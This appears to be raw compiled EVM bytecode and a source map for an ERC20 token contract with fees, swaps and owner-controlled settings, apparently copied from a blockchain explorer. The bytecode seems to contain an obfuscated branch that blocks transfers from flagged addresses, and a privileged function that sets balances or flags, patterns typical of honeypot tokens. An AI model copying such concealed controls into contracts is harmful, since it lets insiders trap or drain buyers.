b905083811015612881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287890614361565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fa90614401565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296a90614341565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a519190614421565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac6906143e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3690614321565b60405180910390fd5b602060149054906101000a900460ff1615612b6657612b5f848484613142565b905061308d565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c0a5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c5557601c54821115612c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4b90614381565b60405180910390fd5b5b6000612c6030611d30565b90506000601e548210159050808015612c865750602060149054906101000a900460ff16155b8015612cdc5750600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612cf45750602060159054906101000a900460ff165b15612d1e57602060169054906101000a900460ff1615612d1457601e5491505b612d1d82613315565b5b612d2786613506565b15612dc257612d7e84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130f890919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612e655750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612e7957612e74878787613549565b612e7b565b845b9050602060179054906101000a900460ff168015612ee35750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f1257601d54612f0682612ef889611d30565b61282d90919063ffffffff16565b1115612f1157600080fd5b5b600080612f1d575060015b15612f8b57600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612f8a5760018015612f80575060005b612f8957600080fd5b5b5b612fdd81600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161307d9190614421565b60405180910390a3600193505050505b9392505050565b60008383111582906130dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130d391906142ff565b60405180910390fd5b50600083856130eb9190614617565b9050809150509392505050565b600061313a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613094565b905092915050565b60006131cd826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061326282600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133029190614421565b60405180910390a3600190509392505050565b6001602060146101000a81548160ff021916908315150217905550600061336e6002613360601a546133526015548761377090919063ffffffff16565b6137eb90919063ffffffff16565b6137eb90919063ffffffff16565b9050600061338582846130f890919063ffffffff16565b905061339081613835565b600047905060006133c16133b060026015546137eb90919063ffffffff16565b601a546130f890919063ffffffff16565b905060006133ff60026133f1846133e36015548861377090919063ffffffff16565b6137eb90919063ffffffff16565b6137eb90919063ffffffff16565b9050600061342a8361341c6017548761377090919063ffffffff16565b6137eb90919063ffffffff16565b905060006134538261344585886130f890919063ffffffff16565b6130f890919063ffffffff16565b9050600081111561348b5761348a600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613ac0565b5b60008211156134c1576134c0600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613ac0565b5b6000831180156134d15750600087115b156134e1576134e08784613b0b565b5b505050505050506000602060146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff1661352a600154613bff565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135d1576135ca60646135bc6018548661377090919063ffffffff16565b6137eb90919063ffffffff16565b905061364f565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561364e5761364b606461363d6019548661377090919063ffffffff16565b6137eb90919063ffffffff16565b90505b5b6000811115613753576136aa81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161374a9190614421565b60405180910390a35b61376681846130f890919063ffffffff16565b9150509392505050565b60008083141561378357600090506137e5565b6000828461379191906145bd565b90508284826137a0919061458c565b146137e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137d7906143a1565b60405180910390fd5b809150505b92915050565b600061382d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c11565b905092915050565b6000600267ffffffffffffffff81111561385257613851614864565b5b6040519080825280602002602001820160405280156138805781602001602082028036833780820191505090505b509050308160008151811061389857613897614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561393a57600080fd5b505afa15801561394e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139729190613d6a565b8160018151811061398657613985614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506139ed30601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612893565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613a5195949392919061446c565b600060405180830381600087803b158015613a6b57600080fd5b505af1158015613a7f573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613ab492919061443c565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613b06573d6000803e3d6000fd5b505050565b613b3830601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612893565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613b84611fe7565b426040518863ffffffff1660e01b8152600401613ba696959493929190614268565b6060604051808303818588803b158015613bbf57600080fd5b505af1158015613bd3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613bf89190613f77565b5050505050565b6000613c0a82613c74565b9050919050565b60008083118290613c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c4f91906142ff565b60405180910390fd5b5060008385613c67919061458c565b9050809150509392505050565b6000819050919050565b600081359050613c8d81614ae9565b92915050565b600081519050613ca281614ae9565b92915050565b60008083601f840112613cbe57613cbd614898565b5b8235905067ffffffffffffffff811115613cdb57613cda614893565b5b602083019150836020820283011115613cf757613cf661489d565b5b9250929050565b600081359050613d0d81614b00565b92915050565b600081359050613d2281614b17565b92915050565b600081519050613d3781614b17565b92915050565b600060208284031215613d5357613d526148a7565b5b6000613d6184828501613c7e565b91505092915050565b600060208284031215613d8057613d7f6148a7565b5b6000613d8e84828501613c93565b91505092915050565b60008060408385031215613dae57613dad6148a7565b5b6000613dbc85828601613c7e565b9250506020613dcd85828601613c7e565b9150509250929050565b600080600060608486031215613df057613def6148a7565b5b6000613dfe86828701613c7e565b9350506020613e0f86828701613c7e565b9250506040613e2086828701613d13565b9150509250925092565b60008060408385031215613e4157613e406148a7565b5b6000613e4f85828601613c7e565b9250506020613e6085828601613d13565b9150509250929050565b600080600060408486031215613e8357613e826148a7565b5b600084013567ffffffffffffffff811115613ea157613ea06148a2565b5b613ead86828701613ca8565b93509350506020613ec086828701613cfe565b9150509250925092565b600060208284031215613ee057613edf6148a7565b5b6000613eee84828501613cfe565b91505092915050565b600060208284031215613f0d57613f0c6148a7565b5b6000613f1b84828501613d13565b91505092915050565b600080600060608486031215613f3d57613f3c6148a7565b5b6000613f4b86828701613d13565b9350506020613f5c86828701613d13565b9250506040613f6d86828701613d13565b9150509250925092565b600080600060608486031215613f9057613f8f6148a7565b5b6000613f9e86828701613d28565b9350506020613faf86828701613d28565b9250506040613fc086828701613d28565b9150509250925092565b6000613fd68383613ff1565b60208301905092915050565b613feb8161465d565b82525050565b613ffa8161464b565b82525050565b6140098161464b565b82525050565b600061401a826144f1565b6140248185614514565b935061402f836144e1565b8060005b838110156140605781516140478882613fca565b975061405283614507565b925050600181019050614033565b5085935050505092915050565b6140768161466f565b82525050565b614085816146b2565b82525050565b614094816146c4565b82525050565b60006140a5826144fc565b6140af8185614525565b93506140bf8185602086016146fa565b6140c8816148ac565b840191505092915050565b60006140e0602383614525565b91506140eb826148bd565b604082019050919050565b6000614103602283614525565b915061410e8261490c565b604082019050919050565b6000614126601b83614525565b91506141318261495b565b602082019050919050565b6000614149602883614525565b915061415482614984565b604082019050919050565b600061416c602183614525565b9150614177826149d3565b604082019050919050565b600061418f602083614525565b915061419a82614a22565b602082019050919050565b60006141b2602583614525565b91506141bd82614a4b565b604082019050919050565b60006141d5602483614525565b91506141e082614a9a565b604082019050919050565b6141f48161469b565b82525050565b614203816146a5565b82525050565b600060208201905061421e6000830184614000565b92915050565b60006020820190506142396000830184613fe2565b92915050565b60006040820190506142546000830185614000565b6142616020830184614000565b9392505050565b600060c08201905061427d6000830189614000565b61428a60208301886141eb565b614297604083018761408b565b6142a4606083018661408b565b6142b16080830185614000565b6142be60a08301846141eb565b979650505050505050565b60006020820190506142de600083018461406d565b92915050565b60006020820190506142f9600083018461407c565b92915050565b60006020820190508181036000830152614319818461409a565b905092915050565b6000602082019050818103600083015261433a816140d3565b9050919050565b6000602082019050818103600083015261435a816140f6565b9050919050565b6000602082019050818103600083015261437a81614119565b9050919050565b6000602082019050818103600083015261439a8161413c565b9050919050565b600060208201905081810360008301526143ba8161415f565b9050919050565b600060208201905081810360008301526143da81614182565b9050919050565b600060208201905081810360008301526143fa816141a5565b9050919050565b6000602082019050818103600083015261441a816141c8565b9050919050565b600060208201905061443660008301846141eb565b92915050565b600060408201905061445160008301856141eb565b8181036020830152614463818461400f565b90509392505050565b600060a08201905061448160008301886141eb565b61448e602083018761408b565b81810360408301526144a0818661400f565b90506144af6060830185614000565b6144bc60808301846141eb565b9695505050505050565b60006020820190506144db60008301846141fa565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006145418261469b565b915061454c8361469b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614581576145806147a8565b5b828201905092915050565b60006145978261469b565b91506145a28361469b565b9250826145b2576145b16147d7565b5b828204905092915050565b60006145c88261469b565b91506145d38361469b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561460c5761460b6147a8565b5b828202905092915050565b60006146228261469b565b915061462d8361469b565b9250828210156146405761463f6147a8565b5b828203905092915050565b60006146568261467b565b9050919050565b60006146688261467b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006146bd826146d6565b9050919050565b60006146cf8261469b565b9050919050565b60006146e1826146e8565b9050919050565b60006146f38261467b565b9050919050565b60005b838110156147185780820151818401526020810190506146fd565b83811115614727576000848401525b50505050565b6000600282049050600182168061474557607f821691505b6020821081141561475957614758614806565b5b50919050565b600061476a8261469b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561479d5761479c6147a8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614af28161464b565b8114614afd57600080fd5b50565b614b098161466f565b8114614b1457600080fd5b50565b614b208161469b565b8114614b2b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b7bd0c4e209faf7f72ff05f6f296d1d649e2970549dcad363652bba06a8b41f764736f6c63430008070033

Deployed Bytecode Sourcemap

4263:15429:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14026:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8309:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9602:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4615:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6017:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8586:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14381:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11837:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4662:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13013:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12559:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8495:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12426:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8971:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5176:38;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12294:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5076:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4575:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5128:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6132:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5476:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13287:731;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10342:331;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5517:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11958:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8694:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16533:242;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10116:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5809:62;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5879:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5641:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5350:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5021:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2970:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10681:338;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8400:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9474:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5686:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9197:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12876:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5558:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14206:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11471:358;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5307:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12696:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5265:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6065:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5393:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4927:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5436:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6179:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5223:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8820:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5597:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12184:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4870:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3184:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6231:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4334:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14026:137;14101:8;:33;14123:10;14101:33;;;;;;;;;;;;;;;;;;;;;;;;;14095:66;;;14155:6;14135:8;:15;14144:5;14135:15;;;;;;;;;;;;;;;:26;;;;14095:66;14026:137;;:::o;8309:83::-;8346:13;8379:5;8372:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8309:83;:::o;9602:161::-;9677:4;9694:39;9703:12;:10;:12::i;:::-;9717:7;9726:6;9694:8;:39::i;:::-;9751:4;9744:11;;9602:161;;;;:::o;4615:40::-;;;;;;;;;;;;;:::o;6017:41::-;;;;;;;;;;;;;:::o;8586:100::-;8639:7;8666:12;;8659:19;;8586:100;:::o;14381:313::-;14479:4;14496:36;14506:6;14514:9;14525:6;14496:9;:36::i;:::-;;14543:121;14552:6;14560:12;:10;:12::i;:::-;14574:89;14612:6;14574:89;;;;;;;;;;;;;;;;;:11;:19;14586:6;14574:19;;;;;;;;;;;;;;;:33;14594:12;:10;:12::i;:::-;14574:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;14543:8;:121::i;:::-;14682:4;14675:11;;14381:313;;;;;:::o;11837:113::-;3107:12;:10;:12::i;:::-;3097:22;;:6;;;;;;;;;;:22;;;3089:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11934:8:::1;11915:16;;:27;;;;;;;;;;;;;;;;;;11837:113:::0;:::o;4662:81::-;;;:::o;13013:128::-;13066:7;13093:40;13110:22;13120:11;13110:9;:22::i;:::-;13093:12;;:16;;:40;;;;:::i;:::-;13086:47;;13013:128;:::o;12559:129::-;3107:12;:10;:12::i;:::-;3097:22;;:6;;;;;;;;;;:22;;;3089:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12669:10:::1;12641:17;;:39;;;;;;;;;;;;;;;;;;12559:129:::0;:::o;8495:83::-;8536:5;8561:9;;;;;;;;;;;8554:16;;8495:83;:::o;12426:125::-;3107:12;:10;:12::i;:::-;3097:22;;:6;;;;;;;;;;:22;;;3089:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12532:10:::1;12511;;:32;;;;;;;;;;;;;;;;;;12426:125:::0;:::o;8971:218::-;9059:4;9076:83;9085:12;:10;:12::i;:::-;9099:7;9108:50;9147:10;9108:11;:25;9120:12;:10;:12::i;:::-;9108:25;;;;;;;;;;;;;;;:34;9134:7;9108:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;9076:8;:83::i;:::-;9177:4;9170:11;;8971:218;;;;:::o;5176:38::-;;;;;;;;;;;;;;;;;;;;;;:::o;12294:124::-;3107:12;:10;:12::i;:::-;3097:22;;:6;;;;;;;;;;:22;;;3089:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12402:8:::1;12376:23;:34;;;;12294:124:::0;:::o;5076:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;4575:33::-;;;;;;;;;;;;;:::o;5128:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;6132:40::-;;;;;;;;;;;;;:::o;5476:34::-;;;;:::o;13287:731::-;13367:22;3107:12;:10;:12::i;:::-;3097:22;;:6;;;;;;;;;;:22;;;3089:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13404:35:::1;13461:16;13404:74;;13527:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13509:53;;;13571:4;13578:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13509:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13492:110;;13644:1;13618:28;;:14;:28;;;13615:200;;;13707:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13689:74;;;13772:4;13779:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13689:114;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13672:131;;13615:200;13841:14;13827:11;;:28;;;;;;;;;;;;;;;;;;13884:16;13866:15;;:34;;;;;;;;;;;;;;;;;;13958:4;13914:19;:41;13942:11;;;;;;;;;;;13914:41;;;;;;;;;;;;;;;;:48;;;;;;;;;;;;;;;;;;14006:4;13973:8;:30;13990:11;;;;;;;;;;;13973:30;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;13391:627;13287:731:::0;;;:::o;10342:331::-;3107:12;:10;:12::i;:::-;3097:22;;:6;;;;;;;;;;:22;;;3089:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10482:15:::1;10463:16;:34;;;;10527:15;10508:16;:34;;;;10567:10;10553:11;:24;;;;10610:55;10653:11;;10610:38;10631:16;;10610;;:20;;:38;;;;:::i;:::-;:42;;:55;;;;:::i;:::-;10590:17;:75;;;;10342:331:::0;;;:::o;5517:34::-;;;;:::o;11958:218::-;3107:12;:10;:12::i;:::-;3097:22;;:6;;;;;;;;;;:22;;;3089:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12064:9:::1;12060:109;12083:6;;:13;;12079:1;:17;12060:109;;;12151:6;12118:19;:30;12138:6;;12145:1;12138:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12118:30;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;12098:3;;;;;:::i;:::-;;;;12060:109;;;;11958:218:::0;;;:::o;8694:118::-;8760:7;8787:8;:17;8796:7;8787:17;;;;;;;;;;;;;;;;8780:24;;8694:118;;;:::o;16533:242::-;16656:10;16604:62;;:10;;;;;;;;;;;:62;;;16600:168;;;16684:9;16680:77;16703:2;;:9;;16699:1;:13;16680:77;;;16749:6;16734:5;:12;16740:2;;16743:1;16740:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;16734:12;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;16714:3;;;;;:::i;:::-;;;;16680:77;;;;16600:168;16533:242;;;:::o;10116:218::-;3107:12;:10;:12::i;:::-;3097:22;;:6;;;;;;